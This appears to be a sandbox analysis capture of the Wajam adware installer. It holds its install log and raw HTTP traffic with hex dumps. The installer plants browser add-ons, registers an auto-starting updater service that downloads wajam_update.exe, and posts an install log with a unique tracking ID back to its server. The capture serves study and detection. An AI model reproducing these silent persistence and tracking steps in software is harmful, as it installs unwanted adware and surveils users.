APPDATA\Mozilla\Firefox\Profiles IfFileExists: file "C:\Users\HAPUBWS\AppData\Roaming\Mozilla\Firefox\Profiles" exists, jumping 0 Firefox profiles found Collect addons list on FF: Jump: 1183 Firefox Addon was found: false. CreateDirectory: "C:\Program Files\Wajam\Firefox" (1) CreateDirectory: "C:\Program Files\Wajam\Firefox" created File: overwriteflag=2, allowskipfilesflag=2, name="{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi" File: wrote 37909 to "C:\Program Files\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi" WriteRegStr: "HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions" "{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}"="C:\Program Files\Wajam\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi" Jump: 1189 Jump: 1193 Section: "Install Wajam on Chrome" Call: 378 Call: 354 Chrome: Looking for file: LOCALAPPDATA\Google\Chrome\Application\chrome.exe IfFileExists: file "C:\Users\HAPUBWS\AppData\Local\Google\Chrome\Application\chrome.exe" does not exist, jumping 408 Chrome: Looking for file: PROGRAMFILES\Google\Chrome\Application\chrome.exe IfFileExists: file "C:\Program Files\Google\Chrome\Application\chrome.exe" does not exist, jumping 413 Chrome not found Section: "Install Wajam on Internet Explorer" WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "Install_Dir"="C:\Program Files\Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayName"="Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "UninstallString"="C:\Program Files\Wajam\uninstall.exe" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallLocation"="C:\Program Files\Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayIcon"="C:\Program Files\Wajam\IE\favicon.ico" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "Publisher"="Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "InstallSource"="C:" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegOwner"="Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "RegCompany"="Wajam" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "HelpLink"="http://www.wajam.com/contact_us.php" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "URLInfoAbout"="http://www.wajam.com" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "DisplayVersion"="1.92" WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoModify"="0x00000001" WriteRegDWORD: "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Wajam" "NoRepair"="0x00000001" CreateDirectory: "C:\Program Files\Wajam\IE" (1) CreateDirectory: "C:\Program Files\Wajam\IE" created File: overwriteflag=2, allowskipfilesflag=2, name="favicon.ico" File: wrote 5430 to "C:\Program Files\Wajam\IE\favicon.ico" File: overwriteflag=2, allowskipfilesflag=2, name="wajamLogo.bmp" File: wrote 5430 to "C:\Program Files\Wajam\IE\wajamLogo.bmp" Delete: "C:\Program Files\Wajam\IE\uninstall.exe" Delete: "C:\Program Files\Wajam\IE\waitBHOEnable.exe" Delete: "C:\Program Files\Wajam\IE\wajam.dll" RMDir: "C:\Program Files\Wajam\IE\res" RMDir: "C:\Program Files\Wajam\IE\res" Collect addons list on IE: installed_ie_addon: {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} Jump: 1551 installed_ie_addon: {DBC80044-A445-435B-BC74-9C25C1C588A9} Jump: 1551 installed_ie_addon: {B4F3A835-0E21-4959-BA22-42B3008E02FF} Jump: 1551 CreateDirectory: "C:\Program Files\Wajam" (1) File: overwriteflag=2, allowskipfilesflag=2, name="uninstall.exe" File: wrote 64296 to "C:\Program Files\Wajam\uninstall.exe" CreateDirectory: "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam" (0) CreateDirectory: "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam" created CreateShortCut: out: "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Wajam\uninstall.lnk", in: "C:\Program Files\Wajam\uninstall.exe ", icon: ,0, sw=0, hk=0 Jump: 1100 Function .onInstSuccess DeleteRegKey: "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration" Call: 2138 Jump: 2151 CreateDirectory: "C:\Program Files\Wajam\IE" (1) File: overwriteflag=2, allowskipfilesflag=2, name="IE_approveExt.exe" File: wrote 80384 to "C:\Program Files\Wajam\IE\IE_approveExt.exe" Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll" File: wrote 4608 to "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\ExecCmd.dll" Delete: "C:\Program Files\Wajam\IE\IE_approveExt.exe" Delete: DeleteFile("C:\Program Files\Wajam\IE\IE_approveExt.exe") Browser restart: No browsers are open. Jump: 2243 CreateDirectory: "C:\Program Files\Wajam\IE" (1) File: overwriteflag=2, allowskipfilesflag=2, name="priam_bho.dll" File: wrote 297096 to "C:\Program Files\Wajam\IE\priam_bho.dll" Jump: 2274 settings logging to 0 logging set to 1 WriteRegStr: "HKEY_CURRENT_USER\Software\Wajam" "skip_new_tab"="true" Closing FF Call: 535 settings logging to 0 logging set to 1 Sleep(3000) Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\inetc.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\inetc.dll" (overwriteflag=1) Call: 1029 settings logging to 0 logging set to 1 Exec: command=""C:\Program Files\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="" Exec: success (""C:\Program Files\Internet Explorer\iexplore.exe" "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="") WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "rec"="2" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "reb"="1" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam" "red"="1" Call: 1477 SR: ------------------------------------------------------------ Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\System.dll" (overwriteflag=1) BV: Normal boot Jump: 1496 Call: 1238 settings logging to 1 logging set to 1 Call: 2475 File: overwriteflag=1, allowskipfilesflag=2, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" File: wrote 62976 to "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" S: No service found CreateDirectory: "C:\Program Files\Wajam\Updater" (1) CreateDirectory: "C:\Program Files\Wajam\Updater" created File: overwriteflag=2, allowskipfilesflag=2, name="WajamUpdater.exe" File: wrote 109064 to "C:\Program Files\Wajam\Updater\WajamUpdater.exe" WriteRegStr: "HKEY_LOCAL_MACHINE\Software\Wajam\Update" "updateURL"="http://www.wajam.com/update/Updater/wajam_update.exe" Call: 1396 Exec: command=""C:\Program Files\Wajam\Updater\WajamUpdater.exe" /Service" Exec: success (""C:\Program Files\Wajam\Updater\WajamUpdater.exe" /Service") Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1) S: success - Service registered Call: 1456 settings logging to 1 logging set to 1 Call: 1415 Call: 2475 File: overwriteflag=1, allowskipfilesflag=2, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1) S: success - StartService Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1) S: success - ServiceIsRunning S: success - Service is running Jump: 1443 Jump: 1445 Jump: 1455 Call: 2475 File: overwriteflag=1, allowskipfilesflag=0, name="C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" File: skipped: "C:\Users\HAPUBWS\AppData\Local\Temp\nsfE187.tmp\SimpleSC.dll" (overwriteflag=1) S: success - Service is running Jump: 1474 Jump: 1476 S: success - Service started Jump: 1512 Jump: 1514 Jump: 1516 ESR: ------------------------------------------------------------ Call: 1570 Function: PostInstallLogsToServer settings logging to 0
Raw Hex	0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.] 10 : 01 82 0B E0 40 00 80 06 AB F6 C0 A8 F0 F9 05 87 [....@...........] 20 : 8A 76 C1 01 00 50 CB 4C 23 FB 60 D4 11 4B 50 18 [.v...P.L#.`..KP.] 30 : FA F0 E6 8C 00 00 50 4F 53 54 20 2F 63 6C 69 65 [......POST /clie] 40 : 6E 74 5F 73 65 6E 64 5F 64 65 62 75 67 5F 69 6E [nt_send_debug_in] 50 : 66 6F 2E 70 68 70 3F 76 3D 69 31 2E 39 32 26 75 [fo.php?v=i1.92&u] 60 : 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 [nique_id=C7C92D8] 70 : 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 [7F1EF2BC54BF1F38] 80 : 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 [2E5949857&aid=36] 90 : 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 6D 61 6A [73&aid2=none&maj] A0 : 6F 72 5F 76 65 72 73 69 6F 6E 3D 36 26 6D 69 6E [or_version=6&min] B0 : 6F 72 5F 76 65 72 73 69 6F 6E 3D 31 20 48 54 54 [or_version=1 HTT] C0 : 50 2F 31 2E 31 0D 0A 43 6F 6E 74 65 6E 74 2D 54 [P/1.1..Content-T] D0 : 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E [ype: application] E0 : 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C 65 [/x-www-form-urle] F0 : 6E 63 6F 64 65 64 0D 0A 46 69 6C 65 6E 61 6D 65 [ncoded..Filename] 100 : 3A 20 69 6E 73 74 61 6C 6C 2E 6C 6F 67 0D 0A 55 [: install.log..U] 110 : 73 65 72 2D 41 67 65 6E 74 3A 20 4E 53 49 53 5F [ser-Agent: NSIS_] 120 : 49 6E 65 74 63 20 28 4D 6F 7A 69 6C 6C 61 29 0D [Inetc (Mozilla).] 130 : 0A 48 6F 73 74 3A 20 77 77 77 2E 77 61 6A 61 6D [.Host: www.wajam] 140 : 2E 63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 [.com..Content-Le] 150 : 6E 67 74 68 3A 20 31 30 37 36 39 0D 0A 43 6F 6E [ngth: 10769..Con] 160 : 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D 41 6C [nection: Keep-Al] 170 : 69 76 65 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72 [ive..Cache-Contr] 180 : 6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A [ol: no-cache....] 190 : 46 75 6E 63 74 69 6F 6E 3A 20 2E 4F 6E 49 6E 69 [Function: .OnIni] 1A0 : 74 0D 0A 73 65 74 74 69 6E 67 73 20 6C 6F 67 67 [t..settings logg] 1B0 : 69 6E 67 20 74 6F 20 30 0D 0A 6C 6F 67 67 69 6E [ing to 0..loggin] 1C0 : 67 20 73 65 74 20 74 6F 20 31 0D 0A 44 45 46 41 [g set to 1..DEFA] 1D0 : 55 4C 54 3A 20 46 69 6E 64 69 6E 67 20 74 68 65 [ULT: Finding the] 1E0 : 20 64 65 66 61 75 6C 74 20 62 72 6F 77 73 65 72 [ default browser] 1F0 : 20 69 6E 3A 20 43 3A 5C 50 72 6F 67 72 61 6D 20 [ in: C:\Program ] 200 : 46 69 6C 65 73 5C 49 6E 74 65 72 6E 65 74 20 45 [Files\Internet E] 210 : 78 70 6C 6F 72 65 72 5C 69 65 78 70 6C 6F 72 65 [xplorer\iexplore] 220 : 2E 65 78 65 0D 0A 73 65 74 74 69 6E 67 73 20 6C [.exe..settings l] 230 : 6F 67 67 69 6E 67 20 74 6F 20 30 0D 0A 6C 6F 67 [ogging to 0..log] 240 : 67 69 6E 67 20 73 65 74 20 74 6F 20 31 0D 0A 44 [ging set to 1..D] 250 : 45 46 41 55 4C 54 3A 20 44 65 66 61 75 6C 74 20 [EFAULT: Default ] 260 : 62 72 6F 77 73 65 72 20 69 73 20 69 65 78 70 6C [browser is iexpl] 270 : 6F 72 65 2E 65 78 65 0D 0A 73 65 74 74 69 6E 67 [ore.exe..setting] 280 : 73 20 6C 6F 67 67 69 6E 67 20 74 6F 20 30 0D 0A [s logging to 0..] 290 : 6C 6F 67 67 69 6E 67 20 73 65 74 20 74 6F 20 31 [logging set to 1] 2A0 : 0D 0A 50 3A 20 6F 72 69 67 69 6E 61 6C 20 27 27 [..P: original ''] 2B0 : 0D 0A 50 3A 20 64 65 66 61 75 6C 74 5F 61 69 64 [..P: default_aid] 2C0 : 3A 20 27 33 36 37 33 27 0D 0A 50 3A 20 70 61 72 [: '3673'..P: par] 2D0 : 61 6D 5F 73 69 6C 65 6E 74 3A 20 27 66 61 6C 73 [am_silent: 'fals] 2E0 : 65 27 0D 0A 50 3A 20 69 6E 73 74 61 6C 6C [e'..P: install]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/update/Updater/wajam_update.exe

GET /update/Updater/wajam_update.exe HTTP/1.1 Accept: */* If-Modified-Since: Tue, 18 Jun 2019 15:49:00 +0000 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.wajam.com Connection: Keep-Alive More Details

Format

Details

Request

GET /update/Updater/wajam_update.exe HTTP/1.1
Accept: */*
If-Modified-Since: Tue, 18 Jun 2019 15:49:00 +0000
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.wajam.com
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 A0 0B E4 40 00 80 06 AB D4 C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 02 00 50 14 DE 85 42 39 19 8F 86 50 18 [.v...P...B9...P.]
    30 : FA F0 78 E6 00 00 47 45 54 20 2F 75 70 64 61 74 [..x...GET /updat]
    40 : 65 2F 55 70 64 61 74 65 72 2F 77 61 6A 61 6D 5F [e/Updater/wajam_]
    50 : 75 70 64 61 74 65 2E 65 78 65 20 48 54 54 50 2F [update.exe HTTP/]
    60 : 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A [1.1..Accept: */*]
    70 : 0D 0A 49 66 2D 4D 6F 64 69 66 69 65 64 2D 53 69 [..If-Modified-Si]
    80 : 6E 63 65 3A 20 54 75 65 2C 20 31 38 20 4A 75 6E [nce: Tue, 18 Jun]
    90 : 20 32 30 31 39 20 31 35 3A 34 39 3A 30 30 20 2B [ 2019 15:49:00 +]
    A0 : 30 30 30 30 0D 0A 41 63 63 65 70 74 2D 45 6E 63 [0000..Accept-Enc]
    B0 : 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 [oding: gzip, def]
    C0 : 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E 74 [late..User-Agent]
    D0 : 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 [: Mozilla/4.0 (c]
    E0 : 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 [ompatible; MSIE ]
    F0 : 37 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 [7.0; Windows NT ]
   100 : 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E 30 [6.1; Trident/7.0]
   110 : 3B 20 53 4C 43 43 32 3B 20 2E 4E 45 54 20 43 4C [; SLCC2; .NET CL]
   120 : 52 20 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E 45 [R 2.0.50727; .NE]
   130 : 54 20 43 4C 52 20 33 2E 35 2E 33 30 37 32 39 3B [T CLR 3.5.30729;]
   140 : 20 2E 4E 45 54 20 43 4C 52 20 33 2E 30 2E 33 30 [ .NET CLR 3.0.30]
   150 : 37 32 39 3B 20 4D 65 64 69 61 20 43 65 6E 74 65 [729; Media Cente]
   160 : 72 20 50 43 20 36 2E 30 3B 20 2E 4E 45 54 34 2E [r PC 6.0; .NET4.]
   170 : 30 43 3B 20 2E 4E 45 54 34 2E 30 45 29 0D 0A 48 [0C; .NET4.0E)..H]
   180 : 6F 73 74 3A 20 77 77 77 2E 77 61 6A 61 6D 2E 63 [ost: www.wajam.c]
   190 : 6F 6D 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 [om..Connection: ]
   1A0 : 4B 65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A [Keep-Alive....]

172.217.5.234:80 (fonts.googleapis.com)

GET

fonts.googleapis.com/css?family=Signika:400,300,600,700

GET /css?family=Signika:400,300,600,700 HTTP/1.1 Accept: text/css, */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: fonts.googleapis.com DNT: 1 Connection: Keep-Alive More Details

Format

Details

Request

GET /css?family=Signika:400,300,600,700 HTTP/1.1
Accept: text/css, */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: fonts.googleapis.com
DNT: 1
Connection: Keep-Alive

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 01 DB 0B F6 40 00 80 06 88 C1 C0 A8 F0 F9 AC D9 [....@...........]
    20 : 05 EA C1 03 00 50 F1 D3 3A 62 31 F7 8E A6 50 18 [.....P..:b1...P.]
    30 : 01 02 69 B4 00 00 47 45 54 20 2F 63 73 73 3F 66 [..i...GET /css?f]
    40 : 61 6D 69 6C 79 3D 53 69 67 6E 69 6B 61 3A 34 30 [amily=Signika:40]
    50 : 30 2C 33 30 30 2C 36 30 30 2C 37 30 30 20 48 54 [0,300,600,700 HT]
    60 : 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 [TP/1.1..Accept: ]
    70 : 74 65 78 74 2F 63 73 73 2C 20 2A 2F 2A 0D 0A 52 [text/css, */*..R]
    80 : 65 66 65 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 [eferer: http://w]
    90 : 77 77 2E 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 [ww.wajam.com/ind]
    A0 : 65 78 2E 70 68 70 3F 66 69 72 73 74 72 75 6E 3D [ex.php?firstrun=]
    B0 : 31 26 75 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 [1&unique_id=C7C9]
    C0 : 32 44 38 37 46 31 45 46 32 42 43 35 34 42 46 31 [2D87F1EF2BC54BF1]
    D0 : 46 33 38 32 45 35 39 34 39 38 35 37 26 61 69 64 [F382E5949857&aid]
    E0 : 3D 33 36 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 [=3673&aid2=none&]
    F0 : 65 6E 61 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 [enabled=1&tv=1.9]
   100 : 32 2D 31 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D [2-13&install_tim]
   110 : 65 73 74 61 6D 70 3D 31 35 36 30 39 36 35 38 33 [estamp=156096583]
   120 : 31 26 63 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C [1&clp=..Accept-L]
   130 : 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A [anguage: en-US..]
   140 : 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 [User-Agent: Mozi]
   150 : 6C 6C 61 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 [lla/5.0 (Windows]
   160 : 20 4E 54 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 [ NT 6.1; Trident]
   170 : 2F 37 2E 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C [/7.0; rv:11.0) l]
   180 : 69 6B 65 20 47 65 63 6B 6F 0D 0A 41 63 63 65 70 [ike Gecko..Accep]
   190 : 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 70 [t-Encoding: gzip]
   1A0 : 2C 20 64 65 66 6C 61 74 65 0D 0A 48 6F 73 74 3A [, deflate..Host:]
   1B0 : 20 66 6F 6E 74 73 2E 67 6F 6F 67 6C 65 61 70 69 [ fonts.googleapi]
   1C0 : 73 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 31 0D 0A 43 [s.com..DNT: 1..C]
   1D0 : 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 70 2D [onnection: Keep-]
   1E0 : 41 6C 69 76 65 0D 0A 0D 0A [Alive....]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/css/webfonts/F37F5_0.eot?

GET /css/webfonts/F37F5_0.eot? HTTP/1.1 Accept: */* Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp= Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Origin: http://www.wajam.com Accept-Encoding: gzip, deflate Host: www.wajam.com DNT: 1 Connection: Keep-Alive Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd... More Details

Format

Details

Request

GET /css/webfonts/F37F5_0.eot? HTTP/1.1
Accept: */*
Referer: http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Origin: http://www.wajam.com
Accept-Encoding: gzip, deflate
Host: www.wajam.com
DNT: 1
Connection: Keep-Alive
Cookie: _wau=15609585538671540; _wal=1560958626; PHPSESSID=239dc928casm20ommfnjagevfd; not_logged_unique_id=C7C92D87F1EF2BC54BF1F382E5949857; wajam_ie_addon_installed=1; APPSESSID=w3|XQpWp|XQpWp

Raw Hex

     0 : 00 00 5E 00 01 01 0A 00 27 13 10 A2 08 00 45 00 [..^.....'.....E.]
    10 : 02 A3 0C 09 40 00 80 06 AA AC C0 A8 F0 F9 05 87 [....@...........]
    20 : 8A 76 C1 06 00 50 11 4B F9 DC 6A 79 D9 7B 50 18 [.v...P.K..jy.{P.]
    30 : FA F0 FD FE 00 00 47 45 54 20 2F 63 73 73 2F 77 [......GET /css/w]
    40 : 65 62 66 6F 6E 74 73 2F 46 33 37 46 35 5F 30 2E [ebfonts/F37F5_0.]
    50 : 65 6F 74 3F 20 48 54 54 50 2F 31 2E 31 0D 0A 41 [eot? HTTP/1.1..A]
    60 : 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A 52 65 66 65 [ccept: */*..Refe]
    70 : 72 65 72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E [rer: http://www.]
    80 : 77 61 6A 61 6D 2E 63 6F 6D 2F 69 6E 64 65 78 2E [wajam.com/index.]
    90 : 70 68 70 3F 66 69 72 73 74 72 75 6E 3D 31 26 75 [php?firstrun=1&u]
    A0 : 6E 69 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 [nique_id=C7C92D8]
    B0 : 37 46 31 45 46 32 42 43 35 34 42 46 31 46 33 38 [7F1EF2BC54BF1F38]
    C0 : 32 45 35 39 34 39 38 35 37 26 61 69 64 3D 33 36 [2E5949857&aid=36]
    D0 : 37 33 26 61 69 64 32 3D 6E 6F 6E 65 26 65 6E 61 [73&aid2=none&ena]
    E0 : 62 6C 65 64 3D 31 26 74 76 3D 31 2E 39 32 2D 31 [bled=1&tv=1.92-1]
    F0 : 33 26 69 6E 73 74 61 6C 6C 5F 74 69 6D 65 73 74 [3&install_timest]
   100 : 61 6D 70 3D 31 35 36 30 39 36 35 38 33 31 26 63 [amp=1560965831&c]
   110 : 6C 70 3D 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 [lp=..Accept-Lang]
   120 : 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 55 73 65 [uage: en-US..Use]
   130 : 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 [r-Agent: Mozilla]
   140 : 2F 35 2E 30 20 28 57 69 6E 64 6F 77 73 20 4E 54 [/5.0 (Windows NT]
   150 : 20 36 2E 31 3B 20 54 72 69 64 65 6E 74 2F 37 2E [ 6.1; Trident/7.]
   160 : 30 3B 20 72 76 3A 31 31 2E 30 29 20 6C 69 6B 65 [0; rv:11.0) like]
   170 : 20 47 65 63 6B 6F 0D 0A 4F 72 69 67 69 6E 3A 20 [ Gecko..Origin: ]
   180 : 68 74 74 70 3A 2F 2F 77 77 77 2E 77 61 6A 61 6D [http://www.wajam]
   190 : 2E 63 6F 6D 0D 0A 41 63 63 65 70 74 2D 45 6E 63 [.com..Accept-Enc]
   1A0 : 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 [oding: gzip, def]
   1B0 : 6C 61 74 65 0D 0A 48 6F 73 74 3A 20 77 77 77 2E [late..Host: www.]
   1C0 : 77 61 6A 61 6D 2E 63 6F 6D 0D 0A 44 4E 54 3A 20 [wajam.com..DNT: ]
   1D0 : 31 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B [1..Connection: K]
   1E0 : 65 65 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 [eep-Alive..Cooki]
   1F0 : 65 3A 20 5F 77 61 75 3D 31 35 36 30 39 35 38 35 [e: _wau=15609585]
   200 : 35 33 38 36 37 31 35 34 30 3B 20 5F 77 61 6C 3D [538671540; _wal=]
   210 : 31 35 36 30 39 35 38 36 32 36 3B 20 50 48 50 53 [1560958626; PHPS]
   220 : 45 53 53 49 44 3D 32 33 39 64 63 39 32 38 63 61 [ESSID=239dc928ca]
   230 : 73 6D 32 30 6F 6D 6D 66 6E 6A 61 67 65 76 66 64 [sm20ommfnjagevfd]
   240 : 3B 20 6E 6F 74 5F 6C 6F 67 67 65 64 5F 75 6E 69 [; not_logged_uni]
   250 : 71 75 65 5F 69 64 3D 43 37 43 39 32 44 38 37 46 [que_id=C7C92D87F]
   260 : 31 45 46 32 42 43 35 34 42 46 31 46 33 38 32 45 [1EF2BC54BF1F382E]
   270 : 35 39 34 39 38 35 37 3B 20 77 61 6A 61 6D 5F 69 [5949857; wajam_i]
   280 : 65 5F 61 64 64 6F 6E 5F 69 6E 73 74 61 6C 6C 65 [e_addon_installe]
   290 : 64 3D 31 3B 20 41 50 50 53 45 53 53 49 44 3D 77 [d=1; APPSESSID=w]
   2A0 : 33 7C 58 51 70 57 70 7C 58 51 70 57 70 0D 0A 0D [3|XQpWp|XQpWp...]
   2B0 : 0A [.]

5.135.138.118:80 (www.wajam.com)

GET

www.wajam.com/css/webfonts/F37F5_1.eot?

